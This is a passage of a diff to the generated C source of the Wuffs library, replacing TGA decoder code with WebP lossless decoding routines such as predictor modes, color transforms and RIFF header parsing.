((uint32_t)(v_prev_row.ptr[4u])); ++ v_t1 = ((uint32_t)(v_prev_row.ptr[5u])); ++ v_t2 = ((uint32_t)(v_prev_row.ptr[6u])); ++ v_t3 = ((uint32_t)(v_prev_row.ptr[7u])); ++ v_sum_l = (wuffs_webp__decoder__absolute_difference(self, v_c0, v_t0) + ++ wuffs_webp__decoder__absolute_difference(self, v_c1, v_t1) + ++ wuffs_webp__decoder__absolute_difference(self, v_c2, v_t2) + ++ wuffs_webp__decoder__absolute_difference(self, v_c3, v_t3)); ++ v_sum_t = (wuffs_webp__decoder__absolute_difference(self, v_c0, v_l0) + ++ wuffs_webp__decoder__absolute_difference(self, v_c1, v_l1) + ++ wuffs_webp__decoder__absolute_difference(self, v_c2, v_l2) + ++ wuffs_webp__decoder__absolute_difference(self, v_c3, v_l3)); ++ if (v_sum_l < v_sum_t) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(v_l0)); ++ v_curr_row.ptr[5u] += ((uint8_t)(v_l1)); ++ v_curr_row.ptr[6u] += ((uint8_t)(v_l2)); ++ v_curr_row.ptr[7u] += ((uint8_t)(v_l3)); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(v_t0)); ++ v_curr_row.ptr[5u] += ((uint8_t)(v_t1)); ++ v_curr_row.ptr[6u] += ((uint8_t)(v_t2)); ++ v_curr_row.ptr[7u] += ((uint8_t)(v_t3)); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ } else if (v_mode == 12u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[0u], v_prev_row.ptr[4u], v_prev_row.ptr[0u]); ++ v_curr_row.ptr[5u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[1u], v_prev_row.ptr[5u], v_prev_row.ptr[1u]); ++ v_curr_row.ptr[6u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[2u], v_prev_row.ptr[6u], v_prev_row.ptr[2u]); ++ v_curr_row.ptr[7u] += wuffs_webp__decoder__mode12(self, v_curr_row.ptr[3u], v_prev_row.ptr[7u], v_prev_row.ptr[3u]); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 13u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[0u], v_prev_row.ptr[4u], v_prev_row.ptr[0u]); ++ v_curr_row.ptr[5u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[1u], v_prev_row.ptr[5u], v_prev_row.ptr[1u]); ++ v_curr_row.ptr[6u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[2u], v_prev_row.ptr[6u], v_prev_row.ptr[2u]); ++ v_curr_row.ptr[7u] += wuffs_webp__decoder__mode13(self, v_curr_row.ptr[3u], v_prev_row.ptr[7u], v_prev_row.ptr[3u]); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ v_curr_row = wuffs_base__slice_u8__subslice_i(v_curr_row, 4u); ++ v_prev_row = wuffs_base__slice_u8__subslice_i(v_prev_row, 4u); ++ v_x += 1u; ++ } ++ v_y += 1u; ++ } ++ return wuffs_base__make_empty_struct(); ++} + +-// ---------------- Private Function Prototypes ++// -------- func webp.decoder.absolute_difference + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_tga__decoder__do_decode_image_config( +- wuffs_tga__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); ++static uint32_t ++wuffs_webp__decoder__absolute_difference( ++ const wuffs_webp__decoder* self, ++ uint32_t a_a, ++ uint32_t a_b) { ++ if (a_a < a_b) { ++ return (a_b - a_a); ++ } ++ return (a_a - a_b); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_tga__decoder__do_decode_frame_config( +- wuffs_tga__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++// -------- func webp.decoder.mode12 + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_tga__decoder__do_decode_frame( +- wuffs_tga__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++static uint8_t ++wuffs_webp__decoder__mode12( ++ const wuffs_webp__decoder* self, ++ uint8_t a_l, ++ uint8_t a_t, ++ uint8_t a_tl) { ++ uint32_t v_v = 0; + +-// ---------------- VTables ++ v_v = ((uint32_t)((((uint32_t)(a_l)) + ((uint32_t)(a_t))) - ((uint32_t)(a_tl)))); ++ if (v_v < 256u) { ++ return ((uint8_t)(v_v)); ++ } else if (v_v < 512u) { ++ return 255u; ++ } ++ return 0u; ++} + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_tga__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_tga__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_tga__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_tga__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_tga__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_tga__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_tga__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_tga__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_tga__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_tga__decoder__workbuf_len), +-}; ++// -------- func webp.decoder.mode13 + +-// ---------------- Initializer Implementations ++WUFFS_BASE__GENERATED_C_CODE ++static uint8_t ++wuffs_webp__decoder__mode13( ++ const wuffs_webp__decoder* self, ++ uint8_t a_l, ++ uint8_t a_t, ++ uint8_t a_tl) { ++ uint32_t v_x = 0; ++ uint32_t v_y = 0; ++ uint32_t v_z = 0; ++ uint32_t v_v = 0; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_tga__decoder__initialize( +- wuffs_tga__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ v_x = ((((uint32_t)(a_l)) + ((uint32_t)(a_t))) / 2u); ++ v_y = ((uint32_t)(a_tl)); ++ v_z = ((uint32_t)(v_x - v_y)); ++ v_v = ((uint32_t)(v_x + wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(v_z + (v_z >> 31u))), 1u))); ++ if (v_v < 256u) { ++ return ((uint8_t)(v_v)); ++ } else if (v_v < 512u) { ++ return 255u; + } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ return 0u; ++} ++ ++// -------- func webp.decoder.apply_transform_cross_color ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_cross_color( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix, ++ wuffs_base__slice_u8 a_tile_data) { ++ uint32_t v_tile_size_log2 = 0; ++ uint32_t v_tiles_per_row = 0; ++ uint32_t v_mask = 0; ++ uint32_t v_y = 0; ++ uint32_t v_x = 0; ++ uint64_t v_t = 0; ++ wuffs_base__slice_u8 v_tile_data = {0}; ++ uint32_t v_g2r = 0; ++ uint32_t v_g2b = 0; ++ uint32_t v_r2b = 0; ++ uint8_t v_b = 0; ++ uint8_t v_g = 0; ++ uint8_t v_r = 0; ++ ++ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[1u])); ++ v_tiles_per_row = ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); ++ v_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); ++ v_y = 0u; ++ while (v_y < self->private_impl.f_height) { ++ v_t = ((uint64_t)((4u * (v_y >> v_tile_size_log2) * v_tiles_per_row))); ++ v_tile_data = wuffs_base__utility__empty_slice_u8(); ++ if (v_t <= ((uint64_t)(a_tile_data.len))) { ++ v_tile_data = wuffs_base__slice_u8__subslice_i(a_tile_data, v_t); ++ } ++ v_x = 0u; ++ while (v_x < self->private_impl.f_width) { ++ if (((v_x & v_mask) == 0u) && (((uint64_t)(v_tile_data.len)) >= 4u)) { ++ v_g2r = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[0u]); ++ v_g2b = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[1u]); ++ v_r2b = wuffs_base__utility__sign_extend_convert_u8_u32(v_tile_data.ptr[2u]); ++ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); ++ } ++ if (((uint64_t)(a_pix.len)) >= 4u) { ++ v_b = a_pix.ptr[0u]; ++ v_g = a_pix.ptr[1u]; ++ v_r = a_pix.ptr[2u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_r += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_g) * v_g2r)) >> 5u))); ++ v_b += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_g) * v_g2b)) >> 5u))); ++ v_b += ((uint8_t)((((uint32_t)(wuffs_base__utility__sign_extend_convert_u8_u32(v_r) * v_r2b)) >> 5u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ a_pix.ptr[0u] = v_b; ++ a_pix.ptr[2u] = v_r; ++ a_pix = wuffs_base__slice_u8__subslice_i(a_pix, 4u); ++ } ++ v_x += 1u; ++ } ++ v_y += 1u; + } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func webp.decoder.apply_transform_subtract_green ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_subtract_green( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix) { ++ wuffs_base__slice_u8 v_p = {0}; ++ uint8_t v_g = 0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) ++ { ++ wuffs_base__slice_u8 i_slice_p = a_pix; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 4; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 4) * 4)); ++ while (v_p.ptr < i_end0_p) { ++ v_g = v_p.ptr[1u]; ++#if defined(__GNUC__) + #pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#pragma GCC diagnostic ignored "-Wconversion" + #endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) ++ v_p.ptr[0u] += v_g; ++ v_p.ptr[2u] += v_g; ++#if defined(__GNUC__) + #pragma GCC diagnostic pop + #endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ v_p.ptr += 4; + } ++ v_p.len = 0; + } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); ++ return wuffs_base__make_empty_struct(); + } + +-wuffs_tga__decoder* +-wuffs_tga__decoder__alloc(void) { +- wuffs_tga__decoder* x = +- (wuffs_tga__decoder*)(calloc(sizeof(wuffs_tga__decoder), 1)); +- if (!x) { +- return NULL; ++// -------- func webp.decoder.apply_transform_color_indexing ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_color_indexing( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix) { ++ uint32_t v_tile_size_log2 = 0; ++ uint32_t v_bits_per_pixel = 0; ++ uint32_t v_x_mask = 0; ++ uint32_t v_s_mask = 0; ++ uint64_t v_src_index = 0; ++ uint32_t v_y = 0; ++ uint64_t v_di = 0; ++ uint64_t v_dj = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint32_t v_x = 0; ++ uint32_t v_s = 0; ++ uint32_t v_p = 0; ++ uint8_t v_p0 = 0; ++ uint8_t v_p1 = 0; ++ uint8_t v_p2 = 0; ++ uint8_t v_p3 = 0; ++ ++ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[3u])); ++ if (v_tile_size_log2 == 0u) { ++ { ++ wuffs_base__slice_u8 i_slice_dst = a_pix; ++ v_dst.ptr = i_slice_dst.ptr; ++ v_dst.len = 4; ++ const uint8_t* i_end0_dst = wuffs_private_impl__ptr_u8_plus_len(v_dst.ptr, (((i_slice_dst.len - (size_t)(v_dst.ptr - i_slice_dst.ptr)) / 4) * 4)); ++ while (v_dst.ptr < i_end0_dst) { ++ v_p = (((uint32_t)(v_dst.ptr[1u])) * 4u); ++ v_p0 = self->private_data.f_palette[(v_p + 0u)]; ++ v_p1 = self->private_data.f_palette[(v_p + 1u)]; ++ v_p2 = self->private_data.f_palette[(v_p + 2u)]; ++ v_p3 = self->private_data.f_palette[(v_p + 3u)]; ++ v_dst.ptr[0u] = v_p0; ++ v_dst.ptr[1u] = v_p1; ++ v_dst.ptr[2u] = v_p2; ++ v_dst.ptr[3u] = v_p3; ++ v_dst.ptr += 4; ++ } ++ v_dst.len = 0; ++ } ++ return wuffs_base__make_empty_struct(); + } +- if (wuffs_tga__decoder__initialize( +- x, sizeof(wuffs_tga__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ v_bits_per_pixel = (((uint32_t)(8u)) >> v_tile_size_log2); ++ v_x_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); ++ v_s_mask = ((((uint32_t)(1u)) << v_bits_per_pixel) - 1u); ++ v_src_index = ((uint64_t)((self->private_impl.f_workbuf_offset_for_color_indexing + 1u))); ++ v_y = 0u; ++ while (v_y < self->private_impl.f_height) { ++ v_di = ((uint64_t)((4u * (v_y + 0u) * self->private_impl.f_width))); ++ v_dj = ((uint64_t)((4u * (v_y + 1u) * self->private_impl.f_width))); ++ if ((v_di > v_dj) || (v_dj > ((uint64_t)(a_pix.len)))) { ++ break; ++ } ++ v_dst = wuffs_base__slice_u8__subslice_ij(a_pix, v_di, v_dj); ++ v_x = 0u; ++ while (((uint64_t)(v_dst.len)) >= 4u) { ++ if (((v_x & v_x_mask) == 0u) && (v_src_index < ((uint64_t)(a_pix.len)))) { ++ v_s = ((uint32_t)(a_pix.ptr[v_src_index])); ++ v_src_index += 4u; ++ } ++ v_p = ((v_s & v_s_mask) * 4u); ++ v_s >>= v_bits_per_pixel; ++ v_p0 = self->private_data.f_palette[(v_p + 0u)]; ++ v_p1 = self->private_data.f_palette[(v_p + 1u)]; ++ v_p2 = self->private_data.f_palette[(v_p + 2u)]; ++ v_p3 = self->private_data.f_palette[(v_p + 3u)]; ++ v_dst.ptr[0u] = v_p0; ++ v_dst.ptr[1u] = v_p1; ++ v_dst.ptr[2u] = v_p2; ++ v_dst.ptr[3u] = v_p3; ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, 4u); ++ v_x += 1u; ++ } ++ v_y += 1u; + } +- return x; +-} +- +-size_t +-sizeof__wuffs_tga__decoder(void) { +- return sizeof(wuffs_tga__decoder); ++ return wuffs_base__make_empty_struct(); + } + +-// ---------------- Function Implementations +- +-// -------- func tga.decoder.get_quirk ++// -------- func webp.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__get_quirk( +- const wuffs_tga__decoder* self, ++wuffs_webp__decoder__get_quirk( ++ const wuffs_webp__decoder* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -59162,12 +73627,12 @@ wuffs_tga__decoder__get_quirk( + return 0u; + } + +-// -------- func tga.decoder.set_quirk ++// -------- func webp.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__set_quirk( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__set_quirk( ++ wuffs_webp__decoder* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -59183,12 +73648,12 @@ wuffs_tga__decoder__set_quirk( + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func tga.decoder.decode_image_config ++// -------- func webp.decoder.decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_image_config( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__decode_image_config( ++ wuffs_webp__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { +@@ -59214,17 +73679,17 @@ wuffs_tga__decoder__decode_image_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_image_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_webp__decoder__do_decode_image_config(self, a_dst, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_tga__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_webp__error__truncated_input); + goto exit; + } + status = v_status; +@@ -59232,13 +73697,13 @@ wuffs_tga__decoder__decode_image_config( + } + + ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ self->private_impl.p_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; +@@ -59249,19 +73714,19 @@ wuffs_tga__decoder__decode_image_config( + return status; + } + +-// -------- func tga.decoder.do_decode_image_config ++// -------- func webp.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_tga__decoder__do_decode_image_config( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__do_decode_image_config( ++ wuffs_webp__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_c = 0; +- uint32_t v_c5 = 0; +- uint32_t v_i = 0; ++ uint32_t v_c32 = 0; ++ uint64_t v_r_mark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -59274,10 +73739,7 @@ wuffs_tga__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_do_decode_image_config[0].v_i; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +@@ -59287,411 +73749,446 @@ wuffs_tga__decoder__do_decode_image_config( + } + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- self->private_impl.f_header_id_length = t_0; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- self->private_impl.f_header_color_map_type = t_1; +- } +- if (self->private_impl.f_header_color_map_type > 1u) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- self->private_impl.f_header_image_type = t_2; +- } +- if ((self->private_impl.f_header_image_type == 1u) || +- (self->private_impl.f_header_image_type == 2u) || +- (self->private_impl.f_header_image_type == 3u) || +- (self->private_impl.f_header_image_type == 9u) || +- (self->private_impl.f_header_image_type == 10u) || +- (self->private_impl.f_header_image_type == 11u)) { +- } else { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint16_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_3 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- iop_a_src += 2; ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 8) { +- t_3 = ((uint16_t)(*scratch)); ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); + break; + } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } + } +- self->private_impl.f_header_color_map_first_entry_index = t_3; ++ v_c32 = t_0; ++ } ++ if (v_c32 != 1179011410u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint16_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- iop_a_src += 2; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 8) { +- t_4 = ((uint16_t)(*scratch)); ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); + break; + } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; + } + } +- self->private_impl.f_header_color_map_length = t_4; ++ self->private_impl.f_riff_chunk_length = t_1; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- self->private_impl.f_header_color_map_entry_size = t_5; ++ if ((self->private_impl.f_riff_chunk_length & 1u) != 0u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; + } +- if (self->private_impl.f_header_color_map_type != 0u) { +- if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length > 256u)) { +- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); +- goto exit; +- } else if ((self->private_impl.f_header_color_map_entry_size != 15u) && +- (self->private_impl.f_header_color_map_entry_size != 16u) && +- (self->private_impl.f_header_color_map_entry_size != 24u) && +- (self->private_impl.f_header_color_map_entry_size != 32u)) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); +- goto exit; ++ while (true) { ++ { ++ const bool o_0_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_0_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_riff_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_webp__decoder__do_decode_image_config_limited(self, a_src); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_riff_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ io2_a_src = o_0_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_0_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } + } +- } else { +- if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length != 0u) || (self->private_impl.f_header_color_map_entry_size != 0u)) { +- 